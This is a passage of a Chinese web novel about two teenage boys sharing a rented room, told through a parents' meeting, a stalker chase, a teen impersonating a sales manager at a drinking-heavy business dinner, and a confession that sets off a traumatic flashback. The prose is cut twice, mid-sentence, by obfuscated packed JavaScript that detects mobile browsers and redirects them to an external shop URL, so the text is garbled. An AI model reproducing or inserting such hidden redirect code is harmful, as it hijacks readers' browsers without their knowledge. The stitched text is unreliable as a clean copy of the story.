“每次开家长会我都特别喜欢年年的座位,这孩子可有意思了,”桑母翻出相册给田女士看,“你看,这张是年年初二那年家长会拍的,当时他给我留了一块小蛋糕放在抽屉里,还是早上刚买的,哎呦我那天都舍不得吃。” 田女士看着那张照片发怔:“牧年以前的家长会……都是你来参加的吗?” “是呀。” “那……你自己的孩子呢?” “我家那个可不是省心孩子,去了也只能挨老师批评,还不如参加年年的家长会呢。” “牧年他……”田女士想打听一些儿子的情况,说到一半又不由得止住。 她想起了那个叫做桑群的孩子说的话,在要求牧年当好她的孩子之前,先自己做好一位母亲。 她曾经没听懂这句话,现在倒是有些明白了。 一直以来,她总是避着阮牧年去关注他,通过老师通过弟媳通过其他家长,但从来没有亲自问过阮牧年他的情况。 而她自始至终下意识逃避的东西或许并没有想象中那么可怕,就像桑群妈妈展示的那样,牧年的回答说不定只是一块暖心的小蛋糕。 桑母笑吟吟道:“刚刚我坐在年年的位置上拍了几张照,不过没有看过抽屉。我想,他这次准备的惊喜应该是属于你的,小田。” 田女士怔了怔,有些生疏地将手伸进抽屉,阮牧年的书桌并不整齐,跟他同桌相比称得上是混乱,但那些翻到发皱的书页却见证了这个孩子学习的过程,而在抽屉角落,她摸到了一张有些厚度的纸。 拿出来一看,竟是一个信封。 “天呐,看起来准备得很细心啊,”桑母说,“好好收起来吧。” 田女士点头,心里涌上一股很新奇的感觉。 或许这就是为人父母的快乐吧。 只可惜这种喜悦她品尝得太晚太晚。 “太晚就赶上家长们出来了,”程抒晴转着笔说,“我可不想撞见我爸。” “行,那就早点走,”阮牧年盯着手里的练习册,“我这道题马上算完。” 行政楼后的凉亭里,两人的作业摆满了石桌。 这两天他们碰面的次数比以前多了不少,偶尔不急着回家,会来凉亭写会儿作业。 而这一切都是因为程抒晴那天打来的求助电话。 那时她躲在厕所隔间里面打电话,声音很低,微微颤抖。 “我刚刚在校门口看到他了……绝对不会认错的……” 据程抒晴的描述,对方应该是一个闲散的社会人士,曾经纠缠过她,后面被她爸赶走了。但是最近那条爆料帖子热度太大,论坛又不限制校外人士登录,这人似乎蓄意在校外蹲她。 阮牧年问她为什么不告诉家长,程抒晴则说:“这周末有家长会,我爸肯定要来的。如果把这事告诉他,我们俩的绯闻绝对会被他知道,我爸是个老古板,而且暴脾气,我怕他到时候找你家长麻烦……” 最后阮牧年答应这几天放学陪她走到公交车站,直到家长会后程抒晴把事情告诉她爸。 “牧年,谢谢你,”程抒晴小声说,“我欠你一个人情,以后你有什么需要帮忙的尽管说。” 阮牧年勉强笑了笑:“客气,朋友之间互相帮忙不算什么。” 其实他心里有点不乐意,这样一来,他跟桑群的交流就更少了。 这几天夜里对方都很晚回来。 绝对是在躲着他。 阮牧年在心里叹了口气,等家长会结束后,一定要跟桑群解释清楚。 程抒晴每天去的公交车站距离学校五六分钟的路程,就是途中会经过附近的小巷,走大路反而要绕道。 经过一家裁缝铺,眼见路口拐过去就是公交站,程抒晴忽然拉住阮牧年的衣摆:“等等……走慢点。” 阮牧年不明所以地放慢脚步,就听程抒晴轻声说:“看那边的镜子。” 便利店柜台上放着一面大红圆框的翻面镜,镜面很清晰地映照出他们的人影……以及身后不远处缀着的一抹黑影。 “不能去公交站了,我怕他跟上车,”程抒晴咬着牙,压低声音道,“我们绕道吧……你知道怎么走吗?” 阮牧年皱眉思索了片刻:“左拐,走。” 程抒晴跟上他。 小巷道路纵横交错,但阮牧年天天要走这些路去买早点、买菜、买生活用品,已经非常熟悉了。 走了一会儿,阮牧年压低声音问:“有信心甩掉他吗?” “要跑吗?”程抒晴立即回应,“那我跟着你。” 阮牧年看了她一眼,刚想点头,余光瞥见什么忽然脸色一变:“不对,后面好像没人……” “再怎么说,二中也是我的母校,”一道清冽里带着轻佻的声音响起,“不至于被这么点路绕晕吧。” 青年从角落走到两人面前,一副懒散的样子,双手插着裤兜冲他们微微一笑。 “阿晴,多年没见,怎么一见面就跑?”青年轻笑着,眼神却并不友好,“很让我失望啊。” 程抒晴一看见他就下意识躲到阮牧年身后,低声催促道:“牧年,我们快跑……” 阮牧年边后退,边盘算着逃跑计划,嘴上拖延时间:“你想干什么?” “别这么戒备嘛,”青年笑了笑,“你是她在学校找的小白脸?也不怎么样啊,阿晴,不如考虑跟我复合?” 阮牧年一愣,不是说难缠的社会人士吗,怎么变成前男友了。 “别听他瞎说,”程抒晴在他身后说,“他纠缠我的时候就爱自称是我男朋友。” 原来是自恋狂,阮牧年了然:“这附近的路都有监控,你做事之前最好想一想后果。” 青年像是听到了什么天大的笑话,笑得肩膀止不住发抖。他捂着额角看向对面满脸警惕的少年少女:“你这小男友不会是什么书呆子吧哈哈哈。阿晴,既然不想跟我复合,那就乖乖听话,别早恋,知道吗?” 阮牧年还想再说什么,神情忽然一愣,随即惊喜地叫了一声:“程叔叔!” 青年脸上的笑容凝固,回头看去却发现空无一人。 趁他被骗到,阮牧年一把抓住程抒晴的手腕,很快地说了一声“跑”,紧接着迈开长腿。 程抒晴差点跟不上他,猛冲过了好几个岔路,才喘着气问:“牧、牧年,你应该……认识路吧?” “我们回校门,”阮牧年边跑边说,“你快点!” “是你腿太长了!”程抒晴奋力奔跑。 到校门后,程抒晴以为他要回学校,却没想到对方直接穿过校门口的大道,拐进另一边的小巷里。 “我们这是去哪里?” 阮牧年特地绕了路,跑到熟悉的道路上,一把拍开旁边某扇半掩着的门,然后将程抒晴推进去,紧接着跟进去重重合上门。 屋里很暖和,刚刚还在逃亡的两人分别扶住墙的两侧,还没缓过气就听见了接近的脚步声。 桑群系着围裙,一手拿着拖把,站在客厅面无表情地看着这两个不速之客。 “搞什么。”他纳闷道。 听见这声,程抒晴当场宕机。 阮牧年缓过一口气,直起身说:“桑群,有人追我们。” 程抒晴慢慢转过头去,难以相信这种半委屈半告状的语气出自阮牧年之口。 桑群问:“谁?” 阮牧年开始给他解释,顺便把绯闻的误会给他讲明白了,全然没有注意自己温柔可靠的形象正在悄然崩塌。 “总之情况就是这样,”阮牧年抹了把汗,“现在不确定那人有没有追上来,不过等下家长们也要出来了,我的建议是你先联系你爸……呃,抒晴?” 程抒晴面色泛红,眼神迷离,靠在墙边整个人看上去晕乎乎的。 她呢喃道:“啊……这就是你们幸福的小窝吗?” 桑群:“?” 阮牧年:“……” 桑群皱眉:“她在说什么。” 阮牧年扶额:“呃,你当她胡说八道就行了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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桑群还没开口,他就又说了一句:“当然,没我快。” “哦,”桑群点头,“那为什么还要躲起来,飞毛腿?” 阮牧年反驳他:“总不能一直跑吧。” 桑群看着他没说话。 阮牧年歪了歪脑袋:“怎么了?” “没,”桑群清了清嗓子,说得有些慢,“刚刚……在用目光摸你的脑袋。” 阮牧年愣了一下,才想起来自己之前好像也说过类似的话,被桑群学以致用了。 他没由来地觉得脸有点热,都不知道要问点什么:“怎么突然……” “你不是总这样么,跑完步头发就乱糟糟的,要停下来梳理一番,”桑群说,“现在不能直接上手,只能这样了。” 阮牧年赶紧摸了摸自己的头发,依着平时的习惯拨了两下。 桑群轻嗤一声:“臭美。” 阮牧年冲他撇了撇嘴:“不是所有人的头发都像你的一样好看。” 桑群还想说什么,阳台玻璃被敲了敲,程抒晴用口型询问他俩自己能不能进去。 桑群过来给她开门:“门没锁。” “这不是怕打扰你们说话了嘛,”程抒晴笑笑,“我爸差不多要出来啦,我应该过两分钟就可以走了。” 桑群点头:“我出去倒个垃圾。” 阮牧年帮他解释:“顺便看看有没有人。” 桑群很快回来,站在玄关说:“没人。” 阮牧年起身:“好,那我送……” “不用,”桑群看向程抒晴,“换鞋麻烦,我送吧。” 阮牧年一怔,扭头看了程抒晴一眼。 程抒晴没所谓:“都行的,那就麻烦六爷啦。” 阮牧年踩着拖鞋,看着桑群和程抒晴并排走远,心里不知为何有些不是滋味。 理智知道这不可能,却有一道声音追问,万一呢?万一桑群确实对程抒晴有那么一点点的好感呢? 桑群一向喜怒不形于色,他心里喜欢谁可能表面上根本看不出来。 阮牧年啊阮牧年,你心里就这么容不下桑群有其他的社交对象吗? ……好像是的。 自私鬼。 桑群回来的时候,阮牧年张嘴就问:“你为什么要主动送人?” “不是你说的么,”桑群看着他,“多跟别人接触之类的话。” 阮牧年拧着眉:“那也……” 桑群语出惊人:“不然我怎么知道嫂子是什么鹌鹑蛋?” 阮牧年一怔,语气很快不爽起来:“你说话注意点。” 桑群眯了眯眼,还是改口了:“……我怎么知道嫂子是什么盲盒。” 阮牧年压着眉上前一步:“你知道我说的不是这个,我跟她……” “你跟她怎么样,不用告诉我,”桑群依然站在玄关,第一次这样淡漠冷酷地看他,“地板刚拖过,我就不踩进去了。我妈打电话叫我过去,你先在家里待着吧。” 阮牧年一腔烦闷还没来得及发泄,就被桑群合上的屋门堵在了嗓子口。 他站在原地,第一次意识到烦躁是一种找不到源头的情绪。 狠狠地跺了一下脚,却不知道自己到底在气什么。 门外,桑群靠在门板上,垂眼叹了口气。 家长会一结束,桑母就被班主任叫去谈话,解放后直接约了田女士吃午饭,根本没空管他。 他只是……不想看见阮牧年。 喜欢是难以控制的,同样,嫉妒、不爽也是。 继续待在阮牧年面前,他怕自己按耐不住那些情绪。 又不可避免地想起刚才跟程抒晴聊过的话,桑群闭了闭眼,抬脚往巷外走去。 就这样吧。 别去想了。 给自己找点事做,别被那些坏情绪困住了。 他深吸一口气,掏出手机拨了个电话。 “喂,秀姨,是我。关于那批货我有个问题想请教……” 54. 54 “你确定要这样做?” 桑母靠在沙发里翻新合同和方案书,边看边挑眉。 “确定,”桑群点头,过了一会儿又喊她,“妈。” “什么事?”桑母头也没抬。 “给我找件西装吧,”桑群说,“我记得衣柜里有。” 桑母终于看了他一眼:“……需要这么正式吗?” “我总不能以你儿子的身份出现,”桑群说,“我是工厂今年新招的销售经理,大四毕业,叫阮群。” 桑母差点被自己的口水呛到:“……你是来玩角色扮演的吗?” 桑群认真地看着她,表示自己没有在开玩笑。 桑母收起手里的资料,起身:“行,我去给你找。” 几分钟后,桑群站在镜子前,不自在地扯了扯衣摆。 桑母抱臂站在他身后:“倒还挺像模像样的。” 桑群清了清嗓子,换了个声线:“当然了,今女士。” 桑母一怔,这声音听起来……还真像大四毕业初入职场的大学生。 “阮经理,”桑母配合他开口,“今天这单子……这项目要是拿不下,我可要扣你奖金了哦。” “今女士请放心,”桑群对着镜子微微一笑,身着西装优雅得体,“为了工厂的发展,我会给出一个令您满意的结果。” “天呐,”桑母绕着他转了两圈,“以前咋没发现你还有这方面的天赋呢?以后是不是打算报考表演系?” 方才还在矜持的脸瞬间瘫了下来,桑群面无表情地看着她,开口还是那个死样:“你想多了。” 桑母皱起眉,嫌弃地走开了。 还是大四毕业的阮经理更适合当她儿子。 阮经理出现在工厂的时候,让她很有面子。 甲方派来的代表认出她,握过手后又问:“今老板,这位是……?” “杨先生您好,您就是这次过来洽谈的负责人吧,果然一表人才,”桑群微微躬身,态度谦卑地跟他握手,“我是咱们工厂的销售经理,姓阮,您叫我小阮就好……” 年轻人说话大方又举止礼貌,杨先生对他颇有好感,听对方说要带他参观这批衣服,也笑着应下了。 桑群引着负责人进了仓库,桑母站在外面,没进去打扰。 按照桑群的计划,他负责话术诱导,提高负责人对这批衣服的期望值,而今老板只需要在旁边当背景板,关键时刻出来拍板就行。 有个女工嘴闲不住,悄悄跟桑母搭话:“今姐,刚刚进去那个不是……” “嘘,”桑母拍了拍她的肩,“那个啊可是咱们工厂新来的阮经理,靠谱得很,你可别认错了。” 女工:“啊?哦哦。” 阮经理不愧是刚毕业的高材生,他带着杨负责人出来签合同的时候,对方没半点不虞,满口称赞。 “跟您这样的人合作,是我们工厂沾了光,”桑群微笑着说,“时间也不早了,您回去路上注意安全。” 杨先生却说:“哎,不急,我晚上还有一场饭局。小阮啊,我看你很有潜力,要不要跟着一块去认识认识些朋友,就当拓展人脉了,怎么样?” 桑群一怔,下意识看了桑母一眼:“这怎么行,杨先生,我老板还在这看着呢。” 杨先生乐呵呵道:“今老板一块去呗,正好,我那几个朋友都是服装行业的,大家一块交流交流……” 单子刚谈下来,就扫人家兴,未免不合适。有她看着的话,一场饭局应该也不会难应付到哪里去,这般思索着,桑母点了头:“行,今儿就仰仗杨先生帮我们引荐引荐了。” 杨先生哈哈大笑:“哎呦,不敢当不敢当。” 饭局规模不是很大,加上他们两个临时客人,总共也才五六个人。杨先生和他的朋友人都还不错,就是太过豪爽,特别是酒一喝,那股热情劲拦都拦不住。 “小阮也算进入职场了,怎么能不会喝酒呢?来来来,试试这款,我跟你讲,这味道可有劲了!” 桑母脸色微变,刚想替儿子挡下,就见桑群面不改色地接过酒杯,跟喝白开水似的一饮而尽,然后向其他人示意:“好酒。” 递酒的人愣了愣,随即高兴地笑起来:“哈哈哈哈好!年轻人就是爽快!” 一顿饭下来所有人都很尽兴,杨先生的朋友在服装行业小有名气,这番结交确实对工厂来说受益颇多。 等大家都散了之后,母子俩在饭店后门等车,明明时节已是深冬,身上却察觉不到冷,桑群皱着眉松了松脖颈间的领带。 桑母看了他一眼,替他解了颗扣子:“犟小子……被他们灌了那么多,醉了没?” 桑群抬眼,他喝酒不上脸,看起来跟平时没两样,声音也不飘:“没,我应该挺能喝的。” “你那是劲还没上来呢,”桑母皱眉,“一身酒味儿。待会儿跟我回家吧?给你煮点醒酒汤喝。” “不,”桑群摇头,“我回去……陪年年。” “你都这样了,还回去干嘛,”桑母说,“反正今天已经请过假了,大不了明早再请。我是真怕你……” “没事,”桑群顿了顿,握着她的手又说了一遍,“我真没事,妈,你别担心。” “我明早送你去学校还不行吗?”桑母说,“年年也不是小孩子了,一天没陪着他又不会怎么样……” “会的,”桑群只轻轻告诉她,“我得回去。” 桑母打量了他半天,说醉又不像醉,但要说没醉又好像还是有那么一点醉了。 桑群又说:“你把醒酒汤的配方发给我吧,回去我自己煮。” 语气平缓,逻辑清晰,桑母暂且相信他没醉,让网约车司机先送到二中门口。 “路上注意安全,”桑母不放心地从车窗里看他,“别撞到电线杆了。” “不会,”桑群垂着眼说,“路上小心,晚上早点睡。” “你也是,”桑母挥了挥手,“走了啊。” 桑群也抬手摆了摆,转身往巷子里走去。 拐角处那盏喜欢频闪的路灯似乎终于坏了,夜色漆黑,唯有遥远温润的月光勉强照亮路面。 桑群慢吞吞地走在熟悉的道路上,体感上他觉得自己一切正常,可抬头一看,不由得沉默下来。 面前是便利店的招牌。 走过头了。 他转身折回去,后知后觉地发现自己的反应力似乎有些下降。 啧。 居然真醉了。 走了一会儿,他感觉脑袋有点昏,停下来揉了两下,抬头后又沉默下来。 他走回了校门口。 奇怪,平时拐的那条岔路跑哪儿去了。 桑群第二次往回走,这次留心了一下周围的景物,终于没再走错,顺利抵达出租屋门外。 紧闭的磨砂玻璃窗里透着昏黄的灯光,像阮牧年平时留门留给他的那盏……对方应该已经睡熟了。 桑群走到门口,没着急进去,而是靠着门板缓了一会儿。 上次家长会不欢而散之后,他们互相“冷战”了几天。 除了必要的交流之外,没有任何多余的话。 桑群说不清自己哪里惹他了——哦可能是那句“嫂子”让阮牧年不高兴了——总之他自己也挺心烦的,拉远点距离正好。 怕一闲下来就忍不住回想起那天的对话。 明朗的阳光,无人的小巷,以及少女坦然又有些羞赧的声音。 “你是不是喜欢阮牧年?”他记得自己好像是这样问的。 “是呀,”少女毫不遮掩地点了头,“喜欢他好久了。” 他还记得自己那时本想再说点什么,最后却什么也说不出口。 说什么呢? 说如果你喜欢他,请好好对待他。 说他其实很没安全感,也没有表面上看起来那么可靠,请你多多担待他。 说他其实很孤独,也并不开朗阳光,请你多多关心他。 说他喜欢蓝色,歪着头笑很可爱,偶尔会有些小脾气,厨艺非常好,请多多夸夸他。 说…… 想说的有很多,一条条细数下来,他才发现不知不觉中有关阮牧年的一切早已烙印在他的心里,成为了和呼吸一样习以为常的事情。 当想要割舍出去的时候,才意识到他根本舍不得,也无法舍得。 连回忆起那些阮牧年私底下的可爱举动,心脏都会像被利刃撕拉一样阵痛。 时间是个很可怕的东西,等他反应过来,这些年朋友间的信任、兄弟间的依赖、家人间的呵护……种种情感交织在一起,共同编成了这份庞大又细腻的感情,把它叫做“喜欢”太单薄,叫做“爱”又太伟大。 连他自己也不知道该怎么安放这份感情,只能任由它在心底腐化,流出的脓液刺烫了心壁。 然后开始痛,开始不知所措。 却又无计可施。 后脊滚烫,胃里有什么东西在烧,路口吹来一阵北风,只吹散了他指尖的一点热意。 桑群闭了闭眼,站直身来。 算了,先进屋再…… “啪——” 屋里忽然传来一道破碎声,紧接着是一阵有些慌乱的杂音。 桑群微微皱眉,阮牧年还没睡? 他掏出钥匙,当即推开了门。 “安静!” 张老师站上讲台,威严的目光扫过底下的同学:“期中考刚过没几天就这么闹腾,怎么,开完家长会就觉得解放了?” 同学们低着头,不敢说话。 班主任又强调了几遍纪律,吩咐语英课代表尽快安排早读任务,然后往后排走去:“牧年,你跟我出来一下。” “嗯。” 阮牧年合上课本站起身,跟着班主任一路走到办公室。 其他老师基本都不在,他预感班主任想说的事可能跟最近的传闻有关。 果然,班主任让他坐在自己对面,然后斟酌着语气开口:“牧年啊,最近的事……整个年段的学生都有些浮躁,下课后还有不少学生串班徘徊,你应该也能察觉到吧?老师想听听你的想法,这究竟是怎么回事呢?” 阮牧年抿了抿唇:“抱歉张老师,是我一开始没有处理好……我会尽快澄清这件事的。” “其实呢,像你们这个年纪,产生感情是件很美好的事,我也不主张打压所有早恋事件,”张老师叹了口气说,“但如果这种感情已经严重影响到了你的学习和生活,可能它并不适合你,牧年。” 阮牧年没说话。 就像前两天刘嘉问他是不是跟程抒晴在一起了一样,他也没有反驳,只是让对方别问。 家长会那次逃亡之后,程抒晴说桑群在她爸面前露了脸,为了避免被波及,她打算再晚几天告诉家长。 其实他知道程抒晴在干什么。 无非就是拿他当挡箭牌罢了。 有他这个绯闻对象在,那个青年就算敢跟踪,也不敢拿她怎么样,但如果他提前跟程抒晴划清了界限,那人可能就会直接缠上来。 阮牧年就是烦,很烦,不知道是在烦程抒晴做事不太厚道,还是在烦桑群好几天没搭理他。 不知道他这两天都在干什么。 要不是早上能看见他,还以为昨晚这人都没回来睡觉。 那天明明都跟他解释了那些绯闻全是误会,为什么桑群还是这个样子? 就这么不想看见他吗? 讨厌鬼。 既然如此,那他也不去主动找对方,看看谁先憋不住。 就这样演变成了这几天的冷战。 好烦。 “另外,我还有件事想打听一下,”张老师喝了口咖啡,问,“听说桑群同学跟你亲如兄弟?” 阮牧年猝不及防愣了一下:“啊?” “那天我跟桑群妈妈聊了几句,她说你们从小一起长大,”班主任笑了笑,“难怪他这次期中考进步这么大,看你们在学校的表现,还以为你们不熟呢。” 阮牧年:“啊。” “不过,他妈妈今早给桑群请了一天假,说是家事,”班主任没再铺垫,直接问,“你知道他家里出了什么事吗?” “他今天请假了?”阮牧年一怔,“我……不知道这事。” 早上起来的时候,桑群还在房间里睡觉呢。他没去摇人,只在临走前给人留了五个超大响铃闹钟,能醒就行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356332|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “连你也不知道吗?”班主任叹了口气,“好吧,我就是问问。主要是他妈妈没细说原因,我担心会影响到他的状态。到时候他回来了,你有机会能帮我问问吗,牧年?” 阮牧年含糊地应下了,后面班主任又说了些什么,他也没细听,思绪全被一件事牵引住。 桑群不跟他说话,不跟他有眼神交流,每天晚出晚归避开跟他的碰面,现在竟然直接请假不来学校了。 他到底在躲什么? 好难受,像一只蚂蚁钻进心脏里啃食血肉,想把害虫揪出来,却发现它太小一只,根本找不到,只能继续难捱。 “牧年?” 一道声音唤回他的思绪,程抒晴支着脑袋坐在他旁边:“这道选择题你已经看了快十分钟,这么难吗?” “啊,”阮牧年看着笔尖无意识抵在纸上而晕染出的墨迹,“我刚刚走神了。” “你这两天好像心情不太好,”程抒晴问,“怎么了吗?” 阮牧年抿了抿唇:“没,就是……最近糟心事一个接一个的,早上班主任还找我谈话了。” “啊,”程抒晴一怔,“抱歉,是我太磨蹭了……我、我决定今晚就告诉我爸,明天就不麻烦你送我了。” 阮牧年闻言看向她:“是么。” 程抒晴笑了笑:“当然了。” 不知是不是他的错觉,阮牧年觉得对方的笑容有些勉强。 “这种事我们自己扛下来肯定不如让大人们去处理好,”阮牧年点头,心里感到一丝轻松,“早点告诉你爸是好事,要是实在处理不了还可以联系警察……” 他的声音渐渐变小,心里闪过一丝诧异。 对啊,为什么不让程抒晴报警,他这几天也就不用心不甘情不愿地充当对方的临时保镖。 他当初怎么没想到。 等等,那时程抒晴打电话向他求助,好像正是他发现桑群躲着他的时候。 “……” 这么一想,好像是他先开始赌气的。桑群躲他,他也不主动搭理,还天天跑去跟别人混在一起。 结果桑群根本不为所动,他却自己越想越气。 啧。 ……好想他。 ……好想见桑群。 好想跟他说说话,被他用不耐烦的语气教训,看他只会对自己露出的笑容,而不是每天对上视线就别过脸,疲惫地放学回家却只能面对空无一人的屋子。 他好像没有自己想象中那么有毅力,这口气赌了不到一周,就想先缴械投降。 他讨厌跟别人谈情说爱,讨厌被人用探究的目光好奇他的喜好,讨厌被这种黏腻恶心的感情包裹住却怎么也挣脱不了的挫败感。 只有桑群能够理解他。 他不想听的话题,桑群会顺从地闭口不谈;他想要什么,桑群都会尽己所能送给他;只有在桑群这里,他可以当一个尽情畅想的孩子,厌恶的都会消失,所想的皆在眼前。 在桑群为他编织的象牙塔里,一切都是他的童话。 好想他。 想见他。 顷刻间便下定了决心,阮牧年忽然合上练习册转头说:“我晚上有点事,晚自习就不来了,你让你家长接你回家吧。” 程抒晴放下捧着的单词书:“什么事?” “私事。”阮牧年没多说。 “等等,”程抒晴按住他的胳膊,“你就算要走,现在也没到放学时间啊,急什么。” 阮牧年愣了一下:“还有几分钟?” “还有半小时呢,”程抒晴无奈道,“你怎么了,愣着神就忽然说要走,家里出什么事了?” “没,”阮牧年说,“就是刚想起来。” 见他不愿多说,程抒晴也没再问,只道:“再写一会儿吧,你不只差两道大题就写完了吗。” 说的有道理,阮牧年点头,重新翻开练习册,飞快演算。 心里盘算着回去以后的事。 做一顿好吃的晚饭吧,再想些剖白的话,还有这几天的笔记他其实一直都在整理,只是没找到机会给桑群。 虽然心底还是有些不服气,但只要他们还能回到从前那样的相处模式,输这一次也没什么。 嗯,算完了,今晚的作业也都完成了,可以收拾收拾准备回去了。 他偏过头:“现在几点……嗯?” 程抒晴支着头看他,眉睫微垂,似乎已经这样盯着他好久。 阮牧年被她的目光看得有些不舒服,试探地开口:“……抒晴?” “牧年,”程抒晴开口,声音有点低,“我这几天麻烦你这麻烦你那的,你是不是有些不乐意啊。” 阮牧年张了张口:“……没。再说你也帮过我……” “就算我没有帮你,你也能靠自己的能力拿奖,”程抒晴说,“我不是在客套,牧年,从一开始我就没打算参加物理竞赛。” 阮牧年一时没听懂她的意思:“……什么?” “这几天的绯闻也是,”程抒晴继续说,“我没想到会闹得这么大,你其实也很苦恼吧。” 阮牧年隐隐觉得这话不太对:“反正都是误会,到时候说清楚……” 程抒晴却打断他:“如果不是误会呢?” 阮牧年沉默下来。 心底涌上一个他不敢相信的猜测。 “其实我不打算现在说的,不是什么好时机,也有些仓促,”程抒晴没看他,兀自说着话,“但又感觉……以后可能没机会说出口了。” 阮牧年喉间一紧:“你……” 冬日的下午,阳光并不强烈,流云飘移,天光渐暗,微风吹起少女垂在脸颊边的一缕卷发,伴随着她温柔下来的眼神,四周也静了下来。 万籁俱寂中,只有那道温婉的声音清晰无比。 “牧年啊,”程抒晴定定地看着他,轻轻笑了一下,说得有些慢,“我其实……挺喜欢你的。” 霎那间,阮牧年感觉心脏沉了下去。 耳膜像是被什么东西堵住了一样,唯一能听见的就是一道遥远又尖锐的破碎声。 “啪——” 他低头一看,一只白色的陶瓷餐盘碎在了他眼前。 55. 55 “牧年啊,我其实……挺喜欢你的。” “我真后悔当初喜欢你!” “难道我不是吗?我就不该相信你那些花言巧语!” 心脏剧烈地跳动起来,明明身体还坐在凉亭里,明明面前还是程抒晴的脸,他却好像听到了其他的声音,看见了某些不该存在的事物。 比如眼前这个碎掉的盘子。 碎片飞溅,其中一片擦过他的手臂,留下一道又深又长的血痕。 “哎呦,牧年他爸妈啊,当初多么恩爱呀,刚确认关系就不管不顾地要同居,喜欢得死去活来的。” “可不是嘛,谁能想到最后还是离了,嗨呀可惜啦。” “我其实……挺喜欢你的。” “我每天在外面上班已经很累了,你能不能不要再拿这种琐事来烦我?喜欢上你我真是倒了八辈子霉!” “你骂归骂,砸盘子干什么?都吓到孩子了!当初可是你先说喜欢我的,现在后悔已经晚了!” “……挺喜欢你的。” 气急败坏的怒吼,尖细崩溃的喊叫,啧啧咂舌的惋惜,以及那道温柔憧憬的表白,各种声音混杂在一起,几乎要撞破他脆弱的耳膜。 程抒晴的嘴一开一合,似乎说了些什么,但他一个字也没听进去。 他现在听不进任何声音。 只有胳膊上的血痕越来越疼,越来越疼,他想要叫喊,想要哭泣,却被一只大手捂住了口鼻。 迷糊的视线里,身着西装的男人站在对面言辞激烈,跪坐在地上的女人声色凄切地回应他,下意识抱紧怀里的孩子,捂在他口鼻上的手掌越压越紧。 好难受。 好痛苦。 呼吸困难。 濒临窒息的前一秒,一道担忧的声音叫醒了他:“牧年?牧年你怎么了?” 阮牧年猛然回神,程抒晴蹙着眉看他,双手绞合在一起,似乎有些紧张。 “我……抱歉。”他听见自己回应的声音,有些遥远。 “说起来挺不好意思的,”程抒晴拨了拨耳边垂落的发丝,神色赧然,“虽然是我先表的白,但……你能给个准话吗?” 她略带羞涩却清亮的眸子看向他,眼神里带着期待。 阮牧年这才注意到她今天没扎头发,只是低低挽了个半头。 飘逸的长发,雪白的衣服,侧坐的姿势,面前的女人轻笑着开口:“牧年啊,我其实……挺喜欢你的。” 阮牧年忍不住想后退,可他动不了,被不知名的力量牢牢锢在原地。 女人笑着靠近他。 “我挺喜欢你的。” “喜欢你……” “喜欢……” 他只能眼睁睁地看着那张脸扬起的笑容越来越大,女人终于走到他面前,抬手按在他的肩膀上,令他不由打了个寒颤。 “牧年啊,”女人顶着程抒晴的脸,“我喜欢你,你怎么不说话?” 不,别过来。 不要碰我。 “牧年,”女人忽然变成了妈妈的样子,神色凌厉,“妈妈是为了你好,你不要像妈妈一样轻易喜欢上不该喜欢的人……” 不要。 不要靠近我。 “牧年乖,”女人抬手捂住了他的口鼻,像很多年前那样,越压越用力,“不要哭,不要喊,不要惹你爸爸不高兴。” 放开我。 求你松手,放开我。 妈妈……不能呼吸了,快放手。 可是妈妈的脸却消失了,程抒晴捂着他的口鼻,表情和当年跪坐在地上的母亲如出一辙。 “阮牧年,”她一字一顿道,“我当初,就不该喜欢你。” 某股巨大强烈的情绪从心底破土而出,或许它早已蛰伏在那里,只是在等待一个契机。 而现在正是那个时机。 阮牧年猛地后撤出一段距离,呼吸有些不稳,垂在身侧的手指控制不住地微微抽动。 他感觉自己张开了嘴,可能说了一些委婉的话,程抒晴疑虑的表情渐渐缓和下来,甚至还点了点头。 但他听不见自己的声音。 也不知道自己到底说了什么。 他甚至不记得自己是怎么跟程抒晴告别,有没有去请假,又是怎么走回家的。 身体和意识好像被割裂成了两个部分,第一扇门里的阮牧年游刃有余地处理着这些琐事,第三扇门里的阮牧年意识模糊,浑浑噩噩。 路过茶几的时候,还被绊了一跤。 身体重重砸到地上时,某些意识才忽然回笼,他下意识蜷缩起来,慌乱地去查看手臂。 可现在是冬天,层层长袖包裹着,他根本伤不到。 但那里的皮肤还是一阵阵地跳着痛,像是已经长疤的陈年旧伤被重新翻出皮肉,鲜血顺着划口一点点滴下。 他想大喊一声,却还是听不到自己的声音。 怎么回事? 他砸了砸地板,没有声音;将纸巾扔到窗户上,没有声音;脑袋磕到了茶几边缘,没有声音。 他用力地拍了拍自己的耳朵,企图能听到一丝真实的声响。 没有。 没有。 什么都没有。 耳内只是循环播放着男人的怒吼,女人的尖叫,盘子的破碎,以及被捂在掌心里压抑的啼泣。 他好像被困在了很多年前的那个场景里,那些被刻意遗忘的压抑和恐惧重新升起,一点点剥夺他的听觉,他的呼吸,乃至意识。 而他所有的挣扎都被那只庞然大掌压下,连同他的哭泣声一起,泯灭在无尽的绝望中。 怒吼、尖叫、哭声。 男人、女人、孩子。 一遍,一遍,又一遍。 一遍遍濒死,又一次次生疼。 眼前是一片白茫,是天花板的颜色,还是妈妈俯身时遮住他双眼的衣襟? 身上好疼,是摔到地上导致的,还是妈妈紧抱他时勒出来的? 面前黑一阵白一阵,他甚至分不清哪些是现实,哪些是幻觉,只有如影随形的恐惧一如既往的真实,攫住他所有的意识。 那句表白又钻进他耳里,每一个字眼都引得他灵魂颤栗。 “牧年啊,我其实……挺喜欢你的。” 不要对我说喜欢。不要。 我早已预见了喜欢的结局。 是面目可憎的男人,歇斯底里的女人,以及她怀中快要窒息而亡的婴孩。 他逃避了这么多年的恐惧,最终还是降临了。 但程抒晴是第一个,绝对不是最后一个。 总有一个人的喜欢他会接受,然后迈向那个令他恐惧、令他抗拒的既定结局。 总有一天。 无处不在的窒息感会将他拉入真正的灭亡。 …… 